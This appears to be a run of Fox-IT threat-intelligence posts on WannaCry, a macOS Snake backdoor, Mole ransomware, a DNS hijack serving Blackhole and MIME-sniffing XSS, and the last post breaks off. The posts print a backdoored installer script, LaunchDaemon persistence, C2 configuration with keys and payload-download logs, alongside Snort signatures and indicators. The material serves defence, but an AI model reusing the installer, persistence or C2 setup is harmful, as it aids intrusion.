Today, May 12th 2017, a ransomware variant known as WanaCry is being spread on a massive scale around the world.
Once a computer is infected it will attempt to infect other machines on the same network using a recently patched vulnerability in the Windows SMB protocol.

Update: We have published an FAQ to answer additional questions about the ransomware outbreak

Prevention

• Apply Windows update MS17-010
• Microsoft has also released a patch for Windows XP.
• Disable the outdated protocol SMBv1
• Do not allow connections to the RDP or SMB protocol directly from the internet
• Isolate unpatched or unsupported systems from the internal network
• Make back-ups and verify that they can be restored

About this campaign

This ransomware campaign is especially dangerous as it spreads itself through the internal network using a recently patched Windows vulnerability.
Once a machine is infected it will scan the entire internal network and infect vulnerable machines.

Machines are not required to be connected to the internet for the encryption process to take place.

The exploit used by this ransomware campaign was leaked by a group known as the ‘Shadow Brokers’ and has now been repurposed by the attackers behind this campaign to infect machines in internal networks. Microsoft has released a patch for this specific vulnerability (MS17-010) on March 14th 2017. Machines that have been patched are not vulnerable to the exploit, but could still be infected through other infection methods such as phishing e-mails.

Impact

After looking at the ransomware’s code Fox-IT noticed that the malware had a hardcoded kill switch which could disable all functionality.
Once the ransomware is running on a victim’s machine it tries to connect to the domain iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea[.]com.
If the connection succeeds, the binary exits and will not start encrypting files nor start spreading.

It appears that a fellow security researcher (@MalwareTechBlog) spotted the domain and found out it was not registered by the attackers.
This was a sloppy mistake by the hackers, given the large campaign it was engaged in.
This security researcher has registered the domain name and as soon it was replying to requests it seems that the kill switch in the malware became active. This means that anyone who has received the actual phishing email but did not open it yet appears to have been saved.
The domain seems to be registered at 17:08:04 CEST. This could be one of the possible exaplanations as to why the hardcoded Bitcoin wallets have not received a large amount of Bitcoins.

The large amount of damage caused today and all international press attention have given everybody a heads up of what to expect.
With the majority of the big organisations starting with their weekend, offices are closed. System administrators and security personal could use this weekend to take prevention, detection and response measures. If everyone comes back in the office by Monday and a new wave of phishing attacks would start, without a kill-switch, the damage could be far less than expected at this stage. Though we have learned a lot, the cyber criminals will have as well.

Detection

Snort signatures from Emerging Threats are available for the ETERNALBLUE exploit:

alert tcp any any -> $HOME_NET any (msg:"ET EXPLOIT Possible ETERNALBLUE MS17-010 Heap Spray"; flow:to_server,established; content:"|ff|SMB|33 00 00 00 00 18 07 c0 00 00 00 00 00 00 00 00 00 00 00 00 00|"; offset:4; depth:25; content:"|08 ff fe 00 08 41 00 09 00 00 00 10|"; within:12; fast_pattern; content:"|00 00 00 00 00 00 00 10|"; within:8; content:"|00 00 00 10|"; distance:4; within:4; pcre:"/^[a-zA-Z0-9+/]{1000,}/R"; threshold: type threshold, track by_src, count 12, seconds 1; classtype:trojan-activity; sid:2024217; rev:1;)
alert tcp any any -> $HOME_NET any (msg:"ET EXPLOIT Possible ETERNALBLUE MS17-010 Echo Request (set)"; flow:to_server,established; content:"|00 00 00 31 ff|SMB|2b 00 00 00 00 18 07 c0|"; depth:16; fast_pattern; content:"|4a 6c 4a 6d 49 68 43 6c 42 73 72 00|"; distance:0; flowbits:set,ETPRO.ETERNALBLUE; flowbits:noalert; classtype:trojan-activity; sid:2024220; rev:1;)
alert tcp $HOME_NET any -> any any (msg:"ET EXPLOIT Possible ETERNALBLUE MS17-010 Echo Response"; flow:from_server,established; content:"|00 00 00 31 ff|SMB|2b 00 00 00 00 98 07 c0|"; depth:16; fast_pattern; content:"|4a 6c 4a 6d 49 68 43 6c 42 73 72 00|"; distance:0; flowbits:isset,ETPRO.ETERNALBLUE; classtype:trojan-activity; sid:2024218; rev:1;)

The ransomware itself communicates using the Tor protocol.

Infection vector

One of the confirmed infection vectors is the usage of the ETERNALBLUE exploit directly on machines which have SMB directly exposed to the internet.

This chapter previously stated that we were in the process of verifying if phishing e-mails were also an infection vector for the WanaCry ransomware. Thus far Fox-IT has found no evidence that any phishing e-mails were related to this specific ransomware outbreak, and we have therefor removed the related indicators from this blog.

Command and Control servers

• cwwnhwhlz52ma.onion
• gx7ekbenv2riucmf.onion
• xxlvbrloxvriy2c5.onion
• 57g7spgrzlojinas.onion
• 76jdd2ir2embyv47.onion

Bitcoin addresses

• https://blockchain.info/address/115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn
• https://blockchain.info/address/12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw
• https://blockchain.info/address/13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94

Available languages in the ransomware

• m_bulgarian
• m_chinese (simplified)
• m_chinese (traditional)
• m_croatian
• m_czech
• m_danish
• m_dutch
• m_english
• m_filipino
• m_finnish
• m_french
• m_german
• m_greek
• m_indonesian
• m_italian
• m_japanese
• m_korean
• m_latvian
• m_norwegian
• m_polish
• m_portuguese
• m_romanian
• m_russian
• m_slovak
• m_spanish
• m_swedish
• m_turkish
• m_vietnamese

Danny Heppener, Erik Schamper, Maarten van Dantzig & Frank Groenewegen
Fox-IT Threat Intelligence

Summary

Snake, also known as Turla, Uroburos and Agent.BTZ, is a relatively complex malware framework used for targeted attacks¹.

Over the past year Fox-IT has been involved in multiple incident response cases where the Snake framework was used to steal sensitive information. Targets include government institutions, military and large corporates.

Researchers who have previously analyzed compromises where Snake was used have attributed the attacks to Russia². Compared to other prolific attackers with alleged ties to Russia, such as APT28 (Fancy Bear) and APT29 (Cozy Bear), Snake’s code is significantly more sophisticated, its infrastructure more complex and targets more carefully selected.

The framework has traditionally focused on the Windows operating system, but in 2014 the first Linux variant was observed³.

Now, Fox-IT has identified a version of Snake targeting Mac OS X.
As this version contains debug functionalities and was signed on February 21st, 2017 it is likely that the OS X version of Snake is not yet operational.
Fox-IT expects that the attackers using Snake will soon use the Mac OS X variant on targets.

Functionality

For Windows versions the architecture of Snake typically consists of a kernel mode driver designed to hide the presence of several Snake components and to provide low-level access to network communication. Depending on the architecture of a targeted machine either kernel or user mode is used for network communication.

The OS X version of Snake is a port of the Windows version. References to explorer, Internet Explorer and Named Pipes are still present in the binary.

Install Adobe Flash Player.app

The Snake binary comes inside of a ZIP archive named Adobe Flash Player.app.zip which is a backdoored version of Adobe’s Flash Player installer.

The install.sh script is patched with the following lines:

#!/bin/sh
SCRIPT_DIR=$(dirname "$0")
TARGET_PATH=/Library/Scripts
TARGET_PATH2=/Library/LaunchDaemons
cp -f "${SCRIPT_DIR}/queue" "${TARGET_PATH}/queue"
cp -f "${SCRIPT_DIR}/installdp" "${TARGET_PATH}/installdp"
cp -f "${SCRIPT_DIR}/installd.sh" "${TARGET_PATH}/installd.sh"
cp -f "${SCRIPT_DIR}/com.adobe.update" "$TARGET_PATH2/com.adobe.update.plist"
"${TARGET_PATH}/installd.sh"
"${SCRIPT_DIR}/Install Adobe Flash Player"
exit $RC

The installd.sh that is invoked contains the following code:

#!/bin/bash
SCRIPT_DIR=$(dirname "$0")
FILE="${SCRIPT_DIR}/queue#1"
PIDS=`ps cax | grep installdp | grep -o '^[ ]*[0-9]*'`
if [ -z "$PIDS" ]; then
${SCRIPT_DIR}/installdp ${FILE} n
fi

The shell script checks if installdp is already running, if not it will start with:

/Library/Scripts/installdp /Library/Scripts/queue#1 n

Persistence

The backdoor is persisted via Apple’s LaunchDaemon service:

$ plutil -p /Library/LaunchDaemons/com.adobe.update.plist
{
"ProgramArguments" => [
0 => "/Library/Scripts/installd.sh"
]
"KeepAlive" => 1
"Label" => "com.apple.update"
"OnDemand" => 1
"POSIXSpawnType" => "Interactive"
}

Codesigning details

In order for an Application to be run on OS X it has to be signed with a valid certificate issued by Apple or it would be blocked by GateKeeper (unless configured otherwise). The following, likely stolen, developer certificate was used to sign the fake Adobe Flash installer which includes the Snake binary:

Executable=Install Adobe Flash Player.app/Install
Identifier=com.addy.InstallAdobeFlash
Format=app bundle with Mach-O thin (x86_64)
CodeDirectory v=20200 size=390 flags=0x0(none) hashes=12+3 location=embedded
Hash type=sha1 size=20
CandidateCDHash sha1=ffc1a65f9153c94999212fb8bd7e3950eca035ae
Hash choices=sha1
CDHash=ffc1a65f9153c94999212fb8bd7e3950eca035ae
Signature size=4231
Authority=Developer ID Application: Addy Symonds (EHWBRW848H)
Authority=Developer ID Certification Authority
Authority=Apple Root CA
Signed Time=21 Feb 2017 08:55:36
Info.plist entries=22
TeamIdentifier=EHWBRW848H
Sealed Resources version=2 rules=12 files=86
Internal requirements count=1 size=188

Fox-IT has informed Apple’s security team with the request to revoke the certificate.

Debug build

Several strings found throughout the binary indicate that this version is in fact a debug build.

fwrite("Usage: snake_test e[vent]|n[ormal]\n", 0x30uLL, 1uLL, *__stderrp_ptr);

fprintf(v16, "[%s:%s:%d] %s\n", "../../../snake/snake_test.c", "main", 86LL, err);

An interesting observation is the fact that the contents of a temporary file storing command output are converted using KOI8-R encoding, designed to cover the Russian language, which uses the Cyrillic alphabet.

ascii2uni(koi8_str, unicode_str, -1LL, "KOI8-R");

This indicates that the developers tested with Russian command output (encoded using the KOI8-R codepage). On systems where the command output is displayed in another language (and another codepage), text would be incorrectly respresented in Cyrillic characters.

Queue file

Builds of Snake generally contain a Queue file. Queue files are used to store Snake’s configuration data, module binaries and queued network packets.

$ python MM_snake_queuefile.py queue
OFFSET STREAM TYPE ID SIZE WRITTEN DATA
0x0000006c 00000001 0002 00000227 00000010 2017-02-10 12:23:22 '\x98\xa7w{\xc7\xcc4\x03-\xdcz\x0b\xc9,`\x1c'
0x000000bc 00000001 0002 00000228 00000010 2017-02-10 12:23:22 '\x90*\xa6\xc5c\x89H\xe2>\x9fS\x1f\xb2\x0b\xf8\xb7'
0x0000010c 00000001 0002 00000229 00000010 2017-02-10 12:23:22 '\x95\x9a\xdf\x82\xf8l\xbe.YR)\xcc\x1a{\xac\x8f'
0x0000015c 00000001 0002 000000df 00000009 2017-02-10 12:23:22 '300000\x00'
0x000001a5 00000001 0002 000000e0 00000009 2017-02-10 12:23:22 '600000\x00'
0x000001ee 00000001 0002 00000190 00000009 2017-02-10 12:23:22 '20000\x00'
0x00000237 00000001 0002 000000e1 00000009 2017-02-10 12:23:22 '4096\x00'
0x00000280 00000001 0002 000000e2 00000009 2017-02-10 12:23:22 '65536\x00'
0x000002c9 00000001 0002 00000143 00000009 2017-02-10 12:23:22 '4096\x00'
0x00000312 00000001 0002 00000144 00000009 2017-02-10 12:23:22 '65536\x00'
0x0000035b 00000001 0002 00000001 00000009 2017-02-10 12:23:22 '1000\x00'
0x000003a4 fffffffd 0002 00000229 00000010 2017-02-10 12:23:22 '\xfb \xb20\x87\xb9m\xa2\x80!\x80\xcc\x1aJbX'
0x000003f4 00000001 0002 00000008 00000011 2017-02-10 12:23:22 '0xfd4488e9\x00'
0x00000445 00000001 0002 00000009 00000009 2017-02-10 12:23:22 '0\x00'
0x0000048e 00000001 0002 00000064 00000009 2017-02-10 12:23:22 '2\x00'
0x000004d7 00000001 0002 00000065 00000021 2017-02-10 12:23:22 'enc.unix//tmp/.gdm-socket\x00'
0x00000538 00000001 0002 00000066 00000031 2017-02-10 12:23:22 'enc.frag.reliable.doms.unix//tmp/.gdm-selinux\x00'
0x000005a9 00000001 0002 00000070 00000029 2017-02-10 12:23:22 'read_peer_nfo=Y,psk=!HqACg3ILQd-w7e4\x00'
0x00000612 00000001 0002 00000071 00000019 2017-02-10 12:23:22 'psk=R@gw1gBsRP!5!yj0\x00'
0x0000066b 00000001 0002 000000c8 00000009 2017-02-10 12:23:23 '1\x00'
0x000006b4 00000001 0002 000000c9 00000029 2017-02-10 12:23:23 'enc.http.tcp/car-service.effers.com:80\x00'
0x0000071d 00000001 0002 000000d4 00000029 2017-02-10 12:23:23 'psk=1BKQ55n6#OsIgwn*,ustart=bc41f8cd.0\x00'
0x00000786 00000001 0002 0000012c 00000009 2017-02-10 12:23:23 '1\x00'
0x000007cf 00000001 0002 0000012d 00000029 2017-02-10 12:23:23 'enc.http.tcp/car-service.effers.com:80\x00'
0x00000838 00000001 0002 00000138 00000029 2017-02-10 12:23:23 'psk=1BKQ55n6#OsIgwn*,ustart=bc41f8cd.0\x00'

The following transport chains are configured in this queue file:

enc.unix//tmp/.gdm-socket read_peer_nfo=Y,psk=!HqACg3ILQd-w7e4
enc.frag.reliable.doms.unix//tmp/.gdm-selinux psk=R@gw1gBsRP!5!yj0
enc.http.tcp/car-service.effers.com:80 psk=1BKQ55n6#OsIgwn*,ustart=bc41f8cd.0

Obfuscated strings

Snake binaries contain strings that can be obtained through snake_name_get() call. These strings are stored as a pair of 0x40 byte blobs that are XOR-ed against each other. In this binary the blobs only contain placeholders that are yet to be replaced by the actual values, which is another indication that this Snake binary is not yet ready to deploy to targets.

00187e20 00 00 00 00 00 30 31 32 41 30 34 44 45 43 42 43 |.....012A04DECBC|
00187e30 34 34 31 65 34 39 43 35 32 37 42 32 37 39 38 46 |441e49C527B2798F|
00187e40 35 34 43 41 37 51 55 45 55 45 5f 50 41 54 48 5f |54CA7QUEUE_PATH_|
00187e50 55 4e 49 58 00 00 00 00 00 00 00 00 00 00 00 00 |UNIX............|
00187e60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00187ea0 00 00 00 00 00 30 31 32 41 30 34 44 45 43 42 43 |.....012A04DECBC|
00187eb0 34 34 31 65 34 39 43 35 32 37 42 32 37 39 38 46 |441e49C527B2798F|
00187ec0 35 34 43 41 37 4d 45 4a 49 52 4f 44 5f 50 41 54 |54CA7MEJIROD_PAT|
00187ed0 48 5f 44 41 52 57 49 4e 00 00 00 00 00 00 00 00 |H_DARWIN........|
00187ee0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|

Indicators of compromise

Files

/Library/LaunchDaemons/com.adobe.update.plist
/Library/Scripts/installd.sh
/Library/Scripts/queue
/var/tmp/.ur-*
/tmp/.gdm-socket
/tmp/.gdm-selinux

SHA256:

b8ee4556dc09b28826359b98343a4e00680971a6f8c6602747bd5d723d26eaea Install Adobe Flash Player.app.zip
5b7792a16c6b7978fca389882c6aeeb2c792352076bf6a064e7b8b90eace8060 Install
0a77f1b59c829a83d91a12c871fbd30c5c9d04b455f497e0c231cd21104bfea9 install.sh
7848f7808af02ba0466f3a0687cf949c4d29a2d94b035481a3299ec519aaaa30 Install Adobe Flash Player
d5ea79632a1a67abbf9fb1c2813b899c90a5fb9442966ed4f530e92715087ee2 Installdp
b6df610aa5c1254c3af5b2ff806562c4937704e4ac248577cdcd3e7e7b3578a0 com.adobe.update
6e207a375782e3c9d86a3e426cfa38eddcf4898b3556abc75889f7e01cc49506 installd.sh
92721d719b8085748fb66366d202457f6d38bfa108a2ecda71eee7e68f43a387 queue

Network

The following domain is configured in Snake's queue file for HTTP network transport:

car-service.effers.com

The resolving IP belongs to a Satellite communications provider:

83.229.87.11

Though Snake is typically spread using spear-phishing e-mails and watering hole attacks Fox-IT has not yet observed this sample being spread in the wild.

Jelle Vergeer, Krijn de Mik, Mitchel Sahertian, Maarten van Dantzig & Yun Zheng Hu
Fox-IT Threat Intelligence

References

With the daily growth of the different kinds of ransomware and distribution techniques, Fox-IT’s Security Operations Center was investigating a new ransomware called Mole. This ransomware is currently being spread by a social engineering exploit kit to trick the user in downloading a malicious executable.

The ransomware author of Mole made a small mistake, which gives everyone the statistics of all the infected clients.

Distribution of Mole

The social engineering exploit-kit tricks the user in downloading and installing a malicious “plugin” for Office.

After executing the malicious “plugin”, the user receives a fake pop-up displaying an error message. Although the message indicates that the installation has failed, it’s an indicator that ransomware is successfully executed. After displaying the fake error message, certain processes will be terminated, the Windows backups used for recovery will be deleted and the encryption process will be initiated.

Once the encryption process is done, all the files will have the .MOLE extension and a ransom note will be displayed. Currently it’s not possible to recover your files for free, the only solutions is to clean the pc from the infection and restore from a recent backup.

What makes this ransomware different?

Compared to all the other ransomware currently being spread, Mole isn’t any different.
Except that the author of the Mole-ransomware made a small mistake, the statistics of Mole’s infections are openly accessible.

While tracking the infection process, Fox-IT noticed a sudden growth in infections within few hours’ time. The current total of infections is 500+ and growing, further investigation indicates that almost 50% of the IP’s were unique. The fact that around the half of the IP’s are unique, could be because companies are being targeted.

Top 10 unique IP infections per country

Indicators of compromise

Hash: 5ca18c9f5ec26a30de429accf60fc08b0ef785810db173dd65c981a550010dde (pluginoffice.exe)
Hash: e6591a9389c7b82d59949b8c5660e773b86dff1fa3909f780cb8c88bbc85646c (plugin-office.exe)

Hostname: digitalecosystems.com (download)
Hostname: network.mrtg.belcenter.net (download)
Hostname: brutenutrition.net (download)
Hostname: bettermannow.com (download)

IP: 212.47.254.187 (C2 server)

Ransom note:

All your important files were encrypted on this computer.
You can verify this by click on see files an try open them.
Encryption was produced using unique public key RSA-1024 generated for this computer.
To decrypted files, you need to obtain private key.
The single copy of the private key, with will allow you to decrypt the files, is locate on a secret server on the internet.
The server will destroy the key within 78 hours after encryption completed.
To retrieve the private key, you need to  Contact us by email , send us an email your DECRYPT-ID-xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx number
and wait for further instructions.
For you to be sure, that we can decrypt your files – you can send us a single encrypted file and we will send you back it in a decrypted form.
Please do not waste your time! You have 72 hours only! After that The Main Server will double your price!

E-MAILS ADRESS:
oceanm@engineer.com
oceanm@india.com

As a result of increased political tensions between The Netherlands and Turkey, a surge in activity from several Turkish hacker groups has been observed by Fox-IT.

Most activities observed thus far appear to be aimed at defacement and disruption of online Dutch infrastructure. Most of the methods and techniques used to achieve this goal are relatively simple and can be executed by an individual with basic knowledge and skills.

Targets of ‘disruption attacks’, in the form of Distributed Denial of Service (DDoS) attacks, appear to have been directly related to the conflict between Turkey and The Netherlands, with regards to the denial of two of Turkey’s ministers from visiting The Netherlands on March 11th 2017. Some of the targeted websites had difficulties defending against the DDoS attacks, such as stemwijzer.nl and kieskompas.nl, resulting in downtime, just one day before the Dutch elections.

Defacements were seen across seemingly random Twitter accounts and Dutch websites, carried out by individuals which gathered on publically accessible hacking forums, where hackers were called to arms, using operation names such as Hollanda Operasyonu (translated: Holland Operation).

An example of a WordPress website (iwiweb.nl) defaced, using the recently disclosed WordPress content injection vulnerability, can be seen on the image below:

Most of these defacement attempts can be stopped by following basic security guidelines, such as regularly updating WordPress & other software installed on the webserver.

The full write-up describes several methods and techniques used by the Turkish hacker groups in order to compromise, deface or disrupt online Dutch infrastructure.

Download the write-up ‘Turkish Hacktivism targeting The Netherlands’

On Thursday February 9th the vulnerability named ’Ticketbleed’ was made public. The name of this vulnerability does not just sound similar to Heartbleed, but also shares the same implication: remote reading of uninitialized memory. At the time we published Snort IDS detection rules for the Heartbleed vulnerability in OpenSSL, and have now decided to do the same for the F5 vulnerability: Ticketbleed.

About Ticketbleed:
The vulnerability that would later become known as Ticketbleed, was identified by Filippo Valsorda following a support ticket at Cloudflare. The symptoms were failing connections between applications using the TLS Library of the Go programming language and F5 BIG-IP appliances. Filippo identified that SSL resumption requests were failing due to an assumption of the Session Ticket ID length in F5’s TLS stack. This exposes up to 31 bytes of memory per session, a lot less than Hearbleed, which leaked 64k bytes at a time. For more technical details see Finding Ticketbleed post by Filippo.

Mitigation:
Those running vulnerable F5 Appliances have two options to mitigate this vulnerability. One option is to disable Session Tickets entirely on the F5, this should stop the leaking of memory immediately and at virtually no cost. The recommended fix is to upgrade to the latest firmware which plugs this specific problem entirely as described in the following KB article K05121675.

Detection:
At Fox-IT we frequently write IDS detection rules, especially for customers, APTs, hacking tools or new vulnerabilities like Ticketbleed. The Ticketbleed website bears the following warning for those writing IDS signatures to detect the vulnerability:

The issue can be identified by passive traffic monitoring, as the Session ID field is unencrypted.

However, I’d like to strongly discourage IDS vendors from making signatures that simply detect Session IDs shorter than 32 bytes. Any length between 1 and 32 bytes is legal according to the RFC specification.

The Go standard library legitimately uses 16 bytes Session IDs, and browsers considered using 1 byte Session IDs for this purpose. It’s important for security software not to needlessly constrain future decisions in that direction.

Taking this into account, we wrote two signatures for Snort IDS. The first rule searches for ‘Client Hello’ packets that have a session identifier that is shorter than 32 bytes. Using the ‘flowbits’ feature of Snort, the second signature looks for a ‘Server Hello’ packet that does contain a 32 byte session identifier. Writing rules to match binary protocols such as TLS can be challenging and has a higher chance of false positives. While this signature has not resulted in any False Positives on our side, we welcome any feedback as a result of these rules.

Rules:
The two rules can be found on our GitHub Gists:

https://gist.github.com/fox-srt/bc59eb69dc8f261f97f9623bde885f4b

When trying to verify hits in Wireshark we used the following expression filters:

Identify packets containing SSL session identifiers:

ssl.handshake.session_id_length

Search for session identifiers smaller than 32 bytes and equal to 32 bytes:

(ssl.handshake.session_id_length > 0 && ssl.handshake.session_id_length < 32) || ssl.handshake.session_id_length == 32

If the above filter returns two packets, you are likely dealing with a vulnerable F5 appliance. As can be seen in the following screenshot:

Wireshark filter matching Client en Server Hello with different ‘Session ID’ lengths.

Special thanks to Yun Zheng Hu for writing these rules!

Starting on Mon, 5 august 2013, 06:57:30 Fox-IT’s monitoring service detected a redirect occurring initially on conrad.nl but later on many other websites. The way the site was compromised means thousands of websites are redirecting, in total 3 web hosters seem to have been affected by the DNS server compromise:

• Digitalus
• VDX
• Webstekker

All sites using the DNS servers from these companies will have been affected. The official response given by Digitalus was that someone modified the DRS from SIDN with external name servers. This means that any DNS requests made to them would end up at the malicious DNS servers. The only problem now is that the DNS zones have a TTL (Time to live) of 24 hours. This means that most ISP would have this incorrect data in their caches for at least this length of time. After being contacted they fixed the issue and most public name servers now respond with the correct data. How the intruders got access to the DRS remains unknown until Digitalus or SIDN disclose more information, they are is still investigating the issue (source).

Every website that was being requested responded with a blank “Under construction” page with an iframe on it. The iframe was a host running the Blackhole Exploit Kit. While initially we assumed conrad.nl was compromised we found out that the DNS servers were giving back responses with the same IP every time: 178.33.22.5

The nameserver responses for conrad.nl as an example:

;; ANSWER SECTION:
conrad.nl.        300        IN        NS ns1.dn-s.nl.
conrad.nl.        300        IN        NS ns2.dn-s.nl.
;; ADDITIONAL SECTION:
ns1.dn-s.nl.        7200        IN        A 85.158.251.251
ns2.dn-s.nl.        7200        IN        A 83.96.142.70

Analysis of the attack

When vising the page on IP 178.33.22.5 the following response was given:

The host cona.com at the time was responding with 199.233.237.211. This hosted the exploit kit named Blackhole. The kit targetted the client with a PDF exploit (3/45 on VT) and a Java exploit (3/46 on VT).
Looking at URL data it looks as follows:

"GET http://www.conrad.nl/ HTTP/1.1" - - "-" "Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0"
"GET http://cona.com/removal/stops-followed-forces.php HTTP/1.1" - - "http://www.conrad.nl/" "Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0"
"GET http://cona.com/removal/stops-followed-forces.php?xsbmHaOUDWN=RcezQhYNSbrYT&BOZRScKNhz=QoMIfWkfOPj HTTP/1.1" - - "-" "Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_32"
"GET http://cona.com/removal/stops-followed-forces.php?If=3030562f53&We=2i2j55302f2h322g2e52&i=2d&FE=V&ma=p HTTP/1.1" - - "-" "Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_32"
"GET http://www.champagnekopen.nl/wp-content/uploads/2013/07/tr2.jpg HTTP/1.1" - - "-" "Internet"

The first request is to conrad.nl which responded with the malicious IP. This is followed by a request to the Blackhole exploit kit landing page via the initial iframe. After the script on the landing page is executed it does a request to (in this example) retrieve a JAR file to exploit the vulnerable java version. When the Java has been exploit it does a final request to the exploit kit retrieving the initial payload. Moments after downloading this the initial payload downloads a secondary payload which contains the Tor powered malware, note the sudden change of useragent to “Internet”.

The malware dropped communicates using the Tor network to various command and control servers, hashes for the files seen being dropped by the exploit kit:
d758fd8cfb80a458a43770037ec82aac
1af107152eda9cc870c639a5b1c3c466

The initial binary dropped from the exploit kit contacts the following two domains to download a 2nd stage payload:

http://champagnekopen.nl/wp-content/uploads/2013/07/tr2.jpg
http://panningendeavor.net/tr2.jpg

Cleanup

The old instructions previously stated in this post might not work for updated versions of the malware, we are advising  HitmanPro.Kickstart to clean up your PC.

Lennart Haagsma & Yonathan Klijnsma, Security Specialists at Fox-IT

In this blog post I will describe how we turned uploading a .zip file into a Cross-Site Scripting (XSS) attack during a penetration test on a customer’s web application, by leveraging a feature of Internet Explorer (IE) called MIME Sniffing. Before I go into the details of this attack, let’s start by looking at the background of this feature.

Content-Type

Files that are served by a web server are handled by your browser. How your browser handles a file depends on the type of file that is served. For example, images are handled differently than text files. In most cases the web server specifies the correct type of file by means of the Content-Type header. However, certain (legacy) web servers specify an incorrect Content-Type. For compatibility reasons, Microsoft has a feature for Internet Explorer that attempts to determine the correct content type, regardless of what is specified by the web server. This feature is known as MIME Sniffing. One of the steps of this feature is that it compares the first 256 bytes of a file to a list of known file headers. While this feature allows users to browse the web more successfully, it also introduces an attack vector.

The old vulnerability

Several of these security issues have been described in the past, with the main focus on web applications that allow users to upload images. The algorithm for MIME Sniffing works in such a way that it tends to think it knows best. For example, when a web application allows users to upload an image and only checks the file extension, the user can upload an image.jpg that actually contains HTML code. Older versions of Internet Explorer (especially versions 6 and 7) then render the file as HTML, which opened the possibility for a persistent Cross-Site Scripting (XSS) attack. The responsibility for such an attack lies with both the web application developer and with Microsoft as vendor of the browser. Several bugs have been found and fixed within web applications and within PHP that are related to MIME Sniffing.

Microsoft’s mitigation

It is applaudable that Microsoft developed protection mechanisms for IE8 (and above) for these kinds of  security risks, such as preventing “upsniff”:

First, IE8 prevents “upsniff” of files served with image/* content types into HTML/Script. Even if a file contains script, if the server declares that it is an image, IE will not run the embedded script. This change mitigates the picture-sharing attack vector– with no code changes on the part of the server. We were able to make this change by default with minimal compatibility impact because servers rarely knowingly send HTML or script with an image/* content type.

Other new security features came in the form of support for new HTTP response headers:

X-Content-Type-Options: nosniff

X-Download-Options: noopen
 Content-Disposition: attachment; filename=untrustedfile.html

The nosniff header allows a web server to force the browser into disabling MIME Sniffing for the served file. The Content-Disposition header forces the browser to present the user with a file save dialog. When the noopen header is set, the user cannot open the file directly. The user is forced to save the file locally first, which prevents the file from being rendered in the current browser context.

The vulnerable web application

There are still some scenarios that allow for exploitation of MIME Sniffing. Let’s get back to the customer’s web application that we tested. The application was hosted on a Microsoft IIS server. It allowed users to upload files and was initially protected by a blacklist to prevent users from uploading potentially dangerous files, such as .asp files, that can result in unauthorized remote code execution. We were able to upload HTML files, which allowed for Cross-Site Scripting attacks.

We advised the following improvements to our customer:

• Use a whitelist instead of a blacklist method, to ensure that only a limited amount of file extensions are allowed;
• Store uploaded files outside the web root and use a secure download script that loads these files from disk and presents their contents to the user;
• Use non-predictable filenames and change the file extension.

It is not strictly necessary to apply all of the measures mentioned above to prevent this type of attack. However, the combination of these measures may very well also offer protection against other scenarios. In this case only the first measure was applied by our customer; implementing a whitelist. The web application now allows users to upload a limited set of file extensions, such as the images types .jpg and .gif, but also a number of extensions that might be considered relatively safe, such as .zip and.csv files. This could introduce certain vulnerabilities relating to the way that the web application handles these files, but in this case we will focus on a simple scenario: a user can upload files, other users can then view or download these files.

The new vulnerability

First we upload a file with a .zip extension. It is not in fact a zip file but a text file that contains HTML and JavaScript that pops up an alert message. The uploaded file will be accessible with a URL such as:

http://www.example.com/user_uploads/myfile.zip

If we visit this URL with Internet Explorer, we are instantly presented with the alert message, indicating that the browser has run the JavaScript even though the file extension is .zip.

The Microsoft IIS web server returns .zip files with the Content-Type header application/x-zip-compressed. In contrast, Apache returns .zip files with a Content-Type header of application/zip. In that case Internet Explorer does not run the JavaScript in the file, but leads to the file save dialog. This remarkable difference can be explained by looking at the first step of the MIME type Detection Algorithm:

If the “suggested” (server-provided) MIME type is unknown (not known and not ambiguous), FindMimeFromData immediately returns this MIME type as the final determination.

The application/zip header that Apache presents to the browser is unknown to Internet Explorer, while the application/x-zip-compressed header of IIS leads the algorithm to step 2:

If the server-provided MIME type is either known or ambiguous, the buffer is scanned in an attempt to verify or obtain a MIME type from the actual content. If a positive match is found (one of the hard-coded tests succeeded), this MIME type is immediately returned as the final determination, overriding the server-provided MIME type

An example of a server-provided MIME type that is ambiguous is application/octet-stream, which we get when uploading a .csv file to our IIS web server.

As a result, the web application still left users of Internet Explorer vulnerable to persistent XSS attacks, by allowing a .csv file or a .zip file to be uploaded. This is a vulnerability that can be fixed or mitigated in the web application code, in the web server configuration and in the browser.

In regard to our customer’s web application, our initial recommendation still stands. Saving user-uploaded files outside the web root, randomizing file names and changing file extensions will prevent this type of attack. A quick workaround is to set the web server to add the MIME sniffing opt-out header:

X-Content-Type-Options: nosniff

This can be combined with the Content-Disposition: Attachment and X-Download-Options: noopen headers. Note however that nosniff doesn’t seem to be supported by IE7, so that probably leaves IE6 and IE7 vulnerable to this type of attack. I know these are relatively old browsers, but I also know they are still more frequently used than one would want them to be.

End users and system administrators can choose to disable MIME Sniffing in Internet Explorer altogether. Please note that the High security level of Internet Explorer already has this feature disabled. With MIME Sniffing disabled users who access a fake .zip file will be presented with the file save dialog.

In my opinion, the default MIME Sniffing behavior of Internet Explorer should not allow for this type of attack. From a security perspective, you do not want MIME Sniffing to overrule the content type that is provided by the server with unsafe content types, in this case text/html. In the same way that image types are no longer vulnerable to this kind of attack, other file types should also be handled in a more secure manner. I have reported this issue to Microsoft, they researched it and engaged in a constructive debate. However, Microsoft ultimately considers this behavior by design. They stated that web applications should safeguard file uploads and web servers can be set to add protective headers to the HTTP response.

Recommendations

As an obvious disclaimer: all changes to web applications, web servers or browsers should be tested before they are used in production. To summarize the primary recommendations per role:

Web developers
Familiarize yourself with the risks of file uploads, implement safeguards and add relevant HTTP headers for uploaded files if necessary.

Web server administrators
Add the X-Content-Type-Options: nosniff header to your web server. This also applies to web servers other then Microsoft IIS.

System administrators and end users
Disable MIME Sniffing in Internet Explorer and/or set the security level to High. For IE9 MIME Sniffing can disabled at the following location:

Internet Options -> Security -> Custom level -> Miscellaneous -> Enable MIME Sniffing -> Disable

Penetration testers
